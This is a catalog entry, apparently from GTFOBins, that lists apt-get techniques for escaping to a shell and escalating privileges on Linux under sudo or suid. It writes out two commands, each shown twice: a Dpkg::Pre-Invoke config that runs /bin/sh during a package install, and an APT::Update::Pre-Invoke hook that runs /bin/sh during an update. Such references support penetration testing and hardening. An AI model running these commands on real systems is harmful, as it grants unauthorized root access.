Catalog GTFOBins

GTFO · Tool

apt-get

6 techniques LinuxGTFOBins GPL-3.0

shell

ExecutionPrivilege Escalation Linux

For this to work the target package (i.e., `sl`) must not be already installed.

echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file
apt-get -y install -c /path/to/temp-file sl
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation Linux

For this to work the target package (i.e., `sl`) must not be already installed.

echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file
apt-get -y install -c /path/to/temp-file sl
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation Linux

When the shell exits the `update` command is actually executed.

apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation Linux

When the shell exits the `update` command is actually executed.

apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
Context
suid
Native
shell
MITRE
T1059